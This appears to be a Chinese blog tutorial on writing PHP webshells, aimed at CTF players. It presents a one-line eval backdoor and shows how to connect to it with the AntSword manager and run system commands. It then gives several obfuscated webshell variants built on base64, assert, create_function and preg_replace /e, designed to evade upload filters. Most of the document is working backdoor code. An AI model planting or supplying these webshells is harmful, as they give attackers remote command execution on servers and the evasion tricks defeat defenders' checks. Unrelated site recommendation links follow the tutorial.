PHP木马编写

一、最简单的一句话木马

<?php eval($_REQUEST[cmd]); ?>

1. <?php?>

  • <?php?> 是 PHP 代码的开始和结束标记,表示 PHP 代码块的范围。

2. eval()

  • eval() 是 PHP 中的一个内建函数,用来执行字符串类型的 PHP 代码。它会将传入的字符串当作 PHP 代码进行解析和执行。
  • 由于 eval() 可以执行任意 PHP 代码,因此它通常被视为潜在的安全风险,尤其是在它接收来自外部输入的数据时。

3. $_REQUEST[cmd]

  • $_REQUEST 是 PHP 中的一个超全局数组,它包含了通过 HTTP 请求(如 GETPOSTCOOKIE)传递的数据。
  • cmd$_REQUEST 数组中的一个索引,表示请求中传递的参数名称。也就是说,这段代码期望在请求中传递一个名为 cmd 的参数,并且 cmd 的值将作为 eval() 函数的输入。

二、木马的使用方式:

1.使用webshell管理工具连接:

比如蚁剑:

成功上传一个一句话木马

打开蚁剑,右键添加数据:

填入木马的地址(使用https可能连接失败,最好使用http)和密码(中括号'[]'里的就是密码),编码器使用默认的就行。可以测试连接,然后点击添加。

双击下面这个刚刚添加的数据,可以进入目标的文件目录。一般来说,ctf比赛中,flag中根目录(/)下的/flag里或者/var/www/html下的flag.php里。

2.访问木马get或者post传参使用

system():执行系统命令函数,里面的参数是系统命令。注意末尾要加分号;(英文的)。先找到flag,然后再使用cat或者tac查看。

三、对木马内容进行防检测处理

一般来说,在可以进行上传文件的地方会有很多检验和过滤,这里分享一些常见的针对文件内容的防止检查的木马。

php 复制代码
<?php  $mt="mFsKCleRfU"; $ojj="IEBleldle"; $hsa="E9TVFsnd2VuJ10p"; $fnx="Ow=="; $zk = str_replace("d","","sdtdrd_redpdldadcde"); $ef = $zk("z", "", "zbazsze64_zdzeczodze"); $dva = $zk("p","","pcprpepaptpe_fpupnpcptpipopn"); $zvm = $dva('', $ef($zk("le", "", $ojj.$mt.$hsa.$fnx))); $zvm(); ?> //pass is wen
php 复制代码
<?php $a="ass"; $b="ert";  $c=$a.$b; $c($_POST[cmd]); ?>
php 复制代码
<?php $item['wind'] = 'assert'; $array[] = $item; $array[0]['wind']($_POST['cmd']);?>
php 复制代码
<?php @preg_replace("/[copyright]/e",$_POST['c'],"error");?>
php 复制代码
<?php 
$uf="snc3"; //pass is sqzr
$ka="IEBldmFbsK"; 
$pjt="CRfUE9TVF"; 
$vbl = str_replace("ti","","tistittirti_rtietipltiatice"); 
$iqw="F6ciddKTs="; 
$bkf = $vbl("k", "", "kbakske6k4k_kdkekckokdke"); 
$sbp = $vbl("ctw","","ctwcctwrectwatctwectw_fctwuncctwtctwioctwn"); 
$mpy = $sbp('', $bkf($vbl("b", "", $ka.$pjt.$uf.$iqw))); $mpy(); 
?> 
相关推荐
喜欢吃鱿鱼6 分钟前
DES加解密(附带解决转义问题)-VUE
开发语言·前端·javascript
嗷o嗷o7 分钟前
Android BLE 为什么连上了却收不到数据
android
pengyu8 分钟前
【Kotlin 协程修仙录 · 炼气境 · 后阶】 | 划定疆域:CoroutineScope 与 Android 生命周期的绑定艺术
android·kotlin
愚者游世8 分钟前
variadic templates(可变参数模板)各版本异同
开发语言·c++·程序人生·面试
朝星11 分钟前
Android开发[5]:组件化之路由+注解
android·kotlin
随遇丿而安15 分钟前
Android全功能终极创作
android
随遇丿而安15 分钟前
第1周:别小看 `TextView`,它其实是 Android 页面里最常被低估的组件
android
书到用时方恨少!22 分钟前
Python 面向对象进阶:多态——同一个接口,千种面孔
开发语言·python·多态·面向对象
无忧.芙桃29 分钟前
现代C++精讲之处理类型
开发语言·c++
黎梨梨梨_37 分钟前
C++入门基础(下)(重载,引用,inline,nullptr)
开发语言·c++·算法